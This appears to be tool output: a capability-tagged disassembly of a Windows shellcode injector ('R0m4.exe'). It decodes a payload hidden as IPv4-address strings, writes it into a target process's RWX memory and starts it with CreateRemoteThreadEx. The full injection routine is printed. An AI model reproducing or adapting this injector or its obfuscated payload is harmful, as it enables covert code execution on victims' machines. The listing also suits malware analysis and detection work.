Function at 0x140011299
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011c60
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x718
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x126
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x738]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x6c8], rax
lea rcx, [0x1400250a4]
call fcn.1400113ac
nop
lea rax, str.86.227.47.73
mov qword [rbp + 0x10], rax
lea rax, str.94.71.124.177
mov qword [rbp + 0x18], rax
lea rax, str.178.179.245.228
mov qword [rbp + 0x20], rax
lea rax, str.247.231.234.232
mov qword [rbp + 0x28], rax
lea rax, str.236.243.141.111
mov qword [rbp + 0x30], rax
lea rax, str.219.247.75.147
mov qword [rbp + 0x38], rax
lea rax, str.162.139.79.151
mov qword [rbp + 0x40], rax
lea rax, str.222.143.67.155
mov qword [rbp + 0x48], rax
lea rax, str.234.134.253.4
mov qword [rbp + 0x50], rax
lea rax, str.134.192.103.155
mov qword [rbp + 0x58], rax
lea rax, str.152.155.95.167
mov qword [rbp + 0x60], rax
lea rax, str.134.159.233.25
mov qword [rbp + 0x68], rax
lea rax, str.118.231.189.161
mov qword [rbp + 0x70], rax
lea rax, str.220.243.192.160
mov qword [rbp + 0x78], rax
lea rax, str.35.42.233.164
mov qword [rbp + 0x80], rax
lea rax, str.231.38.10.4
mov qword [rbp + 0x88], rax
lea rax, str.184.170.189.165
mov qword [rbp + 0x90], rax
lea rax, str.101.189.208.122
mov qword [rbp + 0x98], rax
lea rax, str.176.207.188.244
mov qword [rbp + 0xa0], rax
lea rax, str.38.145.121.129
mov qword [rbp + 0xa8], rax
lea rax, str.226.240.254.242
mov qword [rbp + 0xb0], rax
lea rax, str.123.141.0.1
mov qword [rbp + 0xb8], rax
lea rax, str.2.136.132.141
mov qword [rbp + 0xc0], rax
lea rax, str.6.7.8.65
mov qword [rbp + 0xc8], rax
lea rax, str.143.203.120.106
mov qword [rbp + 0xd0], rax
lea rax, str.70.14.192.65
mov qword [rbp + 0xd8], rax
lea rax, str.153.91.12.81
mov qword [rbp + 0xe0], rax
lea rax, str.157.87.56.80
mov qword [rbp + 0xe8], rax
lea rax, str.27.203.255.75
mov qword [rbp + 0xf0], rax
lea rax, str.83.46.233.105
mov qword [rbp + 0xf8], rax
lea rax, str.221.234.101.174
mov qword [rbp + 0x100], rax
lea rax, str.18.175.96.40
mov qword [rbp + 0x108], rax
lea rax, str.252.99.29.237
mov qword [rbp + 0x110], rax
lea rax, str.111.238.249.60
mov qword [rbp + 0x118], rax
lea rax, str.158.114.53.244
mov qword [rbp + 0x120], rax
lea rax, str.14.215.77.200
mov qword [rbp + 0x128], rax
lea rax, str.118.56.112.25
mov qword [rbp + 0x130], rax
lea rax, str.54.122.121.144
mov qword [rbp + 0x138], rax
lea rax, str.55.155.28.1
mov qword [rbp + 0x140], rax
lea rax, str.205.7.108.0
mov qword [rbp + 0x148], rax
lea rax, str.75.155.42.12
mov qword [rbp + 0x150], rax
lea rax, str.197.67.24.21
mov qword [rbp + 0x158], rax
lea rax, str.217.19.72.28
mov qword [rbp + 0x160], rax
lea rax, str.87.135.25.210
mov qword [rbp + 0x168], rax
lea rax, str.94.211.20.92
mov qword [rbp + 0x170], rax
lea rax, str.142.30.56.32
mov qword [rbp + 0x178], rax
lea rax, str.58.61.61.63
mov qword [rbp + 0x180], rax
lea rax, str.39.63.41.48
mov qword [rbp + 0x188], rax
lea rax, str.43.49.36.238
mov qword [rbp + 0x190], rax
lea rax, str.130.79.49.35
mov qword [rbp + 0x198], rax
lea rax, str.141.147.44.52
mov qword [rbp + 0x1a0], rax
lea rax, str.47.45.48.242
mov qword [rbp + 0x1a8], rax
lea rax, str.104.146.55.130
mov qword [rbp + 0x1b0], rax
lea rax, str.129.128.221.200
mov qword [rbp + 0x1b8], rax
lea rax, str.60.244.247.183
mov qword [rbp + 0x1c0], rax
lea rax, str.217.180.186.137
mov qword [rbp + 0x1c8], rax
lea rax, str.138.202.218.196
mov qword [rbp + 0x1d0], rax
lea rax, str.7.105.216.16
mov qword [rbp + 0x1d8], rax
lea rax, str.126.51.149.149
mov qword [rbp + 0x1e0], rax
lea rax, str.150.222.17.124
mov qword [rbp + 0x1e8], rax
lea rax, str.211.39.158.157
mov qword [rbp + 0x1f0], rax
lea rax, str.143.195.12.187
mov qword [rbp + 0x1f8], rax
lea rax, str.21.225.229.241
mov qword [rbp + 0x200], rax
lea rax, str.239.46.76.229
mov qword [rbp + 0x208], rax
lea rax, str.35.90.237.23
mov qword [rbp + 0x210], rax
lea rax, str.226.216.150.182
mov qword [rbp + 0x218], rax
lea rax, str.77.102.248.60
mov qword [rbp + 0x220], rax
lea rax, str.92.223.185.184
mov qword [rbp + 0x228], rax
lea rax, str.186.187.229.252
mov qword [rbp + 0x230], rax
lea rax, str.4.150.64.170
mov qword [rbp + 0x238], rax
lea rax, str.194.60.17.175
mov qword [rbp + 0x240], rax
lea rax, str.204.134.150.153
mov qword [rbp + 0x248], rax
lea rax, str.154.134.253.4
mov qword [rbp + 0x250], rax
lea rax, str.131.254.16.153
mov qword [rbp + 0x258], rax
lea rax, str.45.19.156.92
mov qword [rbp + 0x260], rax
lea rax, str.20.159.39.25
mov qword [rbp + 0x268], rax
lea rax, str.146.82.29.156
mov qword [rbp + 0x270], rax
lea rax, str.100.53.239.62
mov qword [rbp + 0x278], rax
lea rax, str.2.28.49.173
mov qword [rbp + 0x280], rax
lea rax, str.111.32.130.249
mov qword [rbp + 0x288], rax
lea rax, str.171.179.160.100
mov qword [rbp + 0x290], rax
lea rax, str.12.167.121.8
mov qword [rbp + 0x298], rax
lea rax, str.179.73.109.80
mov qword [rbp + 0x2a0], rax
lea rax, str.130.150.7.44
mov qword [rbp + 0x2a8], rax
lea rax, str.127.59.136.247
mov qword [rbp + 0x2b0], rax
lea rax, str.183.0.206.116
mov qword [rbp + 0x2b8], rax
lea rax, str.231.235.151.5
mov qword [rbp + 0x2c0], rax
lea rax, str.6.7.64.138
mov qword [rbp + 0x2c8], rax
lea rax, str.230.27.68.132
mov qword [rbp + 0x2d0], rax
lea rax, str.236.66.33.216
mov qword [rbp + 0x2d8], rax
lea rax, str.120.23.85.77
mov qword [rbp + 0x2e0], rax
lea rax, str.94.158.225.88
mov qword [rbp + 0x2e8], rax
lea rax, str.160.25.197.213
mov qword [rbp + 0x2f0], rax
lea rax, str.65.224.245.162
mov qword [rbp + 0x2f8], rax
lea rax, str.218.35.90.112
mov qword [rbp + 0x300], rax
lea rax, str.110.164.236.9
mov qword [rbp + 0x308], rax
lea rax, str.116.162.218.71
mov qword [rbp + 0x310], rax
lea rax, str.110.110.105.89
mov qword [rbp + 0x318], rax
lea rax, str.50.35.52.53
mov qword [rbp + 0x320], rax
lea rax, str.119.111.112.176
mov qword [rbp + 0x328], rax
lea rax, str.200.115.13.244
mov qword [rbp + 0x330], rax
lea rax, str.127.133.24.229
mov qword [rbp + 0x338], rax
lea rax, str.17.166.187.144
mov qword [rbp + 0x340], rax
lea rax, str.14.206.139.0
mov qword [rbp + 0x348], rax
lea rax, str.195.140.1.124
mov qword [rbp + 0x350], rax
lea rax, str.135.6.217.161
mov qword [rbp + 0x358], rax
lea rax, str.26.218.142.29
mov qword [rbp + 0x360], rax
lea rax, str.223.174.25.227
mov qword [rbp + 0x368], rax
lea rax, str.88.130.148.2
mov qword [rbp + 0x370], rax
lea rax, str.161.138.227.153
mov qword [rbp + 0x378], rax
lea rax, str.98.30.76.61
mov qword [rbp + 0x380], rax
lea rax, str.39.48.49.1
mov qword [rbp + 0x388], rax
lea rax, str.106.43.108.109
mov qword [rbp + 0x390], rax
lea rax, str.47.55.26.113
mov qword [rbp + 0x398], rax
lea rax, str.40.50.206.126
mov qword [rbp + 0x3a0], rax
lea rax, str.89.120.72.134
mov qword [rbp + 0x3a8], rax
lea rax, str.175.44.37.60
mov qword [rbp + 0x3b0], rax
lea rax, str.196.10.238.204
mov qword [rbp + 0x3b8], rax
lea rax, str.227.124.81.204
mov qword [rbp + 0x3c0], rax
lea rax, str.121.73.97.181
mov qword [rbp + 0x3c8], rax
lea rax, str.117.116.115.197
mov qword [rbp + 0x3d0], rax
lea rax, str.143.76.216.184
mov qword [rbp + 0x3d8], rax
lea rax, str.84.219.17.99
mov qword [rbp + 0x3e0], rax
lea rax, str.227.35.217.102
mov qword [rbp + 0x3e8], rax
lea rax, str.125.195.246.157
mov qword [rbp + 0x3f0], rax
lea rax, str.199.36.64.188
mov qword [rbp + 0x3f8], rax
lea rax, str.136.169.229.44
mov qword [rbp + 0x400], rax
lea rax, str.124.88.125.169
mov qword [rbp + 0x408], rax
lea rax, str.69.0.0.0
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x438], 0x81
mov eax, 4
mul qword [rbp + 0x438]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
jne 0x1400123f2
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Memory_allocation_failed_n
mov rcx, rax
call fcn.140011366
nop
mov eax, 1
jmp 0x1400126a9
cmp dword [rbp + 0x6f0], 2
jge 0x140012412
lea rcx, str.___you_should_enter_the_process_ID_to_inject_the_SHELLCODE_in_____n_USAGE_:_R0m4.exe__PID__n
call fcn.1400111a9
nop
mov eax, 1
jmp 0x1400126a9
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x6f8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [0x14001f1b0], eax
mov edx, dword [0x14001f1b0]
lea rcx, str.__Now_we_are_trying_to_open_the_process_with_the_ID_:__ld__n_n
call fcn.1400111a9
nop
mov r8d, dword [0x14001f1b0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14001f1b8], rax
cmp qword [0x14001f1b8], 0
je 0x140012688
mov rdx, qword [0x14001f1b8]
lea rcx, str.__We_got_handle_on_the_process__________0x_p_n
call fcn.1400111a9
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 8
xor edx, edx
mov rcx, qword [0x14001f1b8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x14001f1c8], rax
mov r8d, dword [0x14001f1b0]
mov edx, 8
lea rcx, str.__Allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_inside__ld_n
call fcn.1400111a9
nop
mov r8, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x438]
lea rcx, [rbp + 0x10]
call fcn.140011384
nop
lea rcx, str.Shellcode:_n
call fcn.1400111a9
nop
mov qword [rbp + 0x478], 0
jmp 0x140012508
mov rax, qword [rbp + 0x478]
inc rax
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x438]
shl rax, 2
cmp qword [rbp + 0x478], rax
jae 0x140012544
mov rax, qword [rbp + 0x478]
mov rcx, qword [rbp + 0x458]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov edx, eax
lea rcx, str.x_02x
call fcn.1400111a9
nop
jmp 0x1400124f7
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, qword [rbp + 0x458]
mov rdx, qword [0x14001f1c8]
mov rcx, qword [0x14001f1b8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov edx, 8
lea rcx, str.__Wrote__zu_bytes_to_process_memory_n_n
call fcn.1400111a9
nop
lea rax, [0x14001f1b4]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [0x14001f1c8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14001f1b8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [0x14001f1c0], rax
cmp qword [0x14001f1c0], 0
jne 0x140012605
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [0x14001f1b0]
lea rcx, str.___The_PID__ld_doesnt_exist_you_should_try_other_stuff__n_Error__ld___n
call fcn.1400111a9
nop
mov rcx, qword [0x14001f1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x1400126a9
mov r8, qword [0x14001f1c0]
mov edx, dword [0x14001f1b4]
lea rcx, str.__We_got_handle_on_the_Thread__ld___________0x_p_n
call fcn.1400111a9
nop
lea rcx, str.__Cleaning_up_everything____n
call fcn.1400111a9
nop
lea rcx, str.__waiting_for_thread_to_finish______n_n
call fcn.1400111a9
nop
mov edx, 0xffffffff
mov rcx, qword [0x14001f1c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
lea rcx, str.__thread_finished_executing_:___n_n
call fcn.1400111a9
nop
mov rcx, qword [0x14001f1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [0x14001f1c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, str.__finished___see_you_next_time_mate_:_____n
call fcn.1400111a9
nop
xor eax, eax
jmp 0x1400126a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [0x14001f1b0]
lea rcx, str.___The_PID__ld_doesnt_exist_you_should_try_other_stuff__n_Error__ld___n
call fcn.1400111a9
nop
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001bef0]
call fcn.140011339
mov rax, rdi
mov rcx, qword [rbp + 0x6c8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x6d8]
pop rdi
pop rbp
ret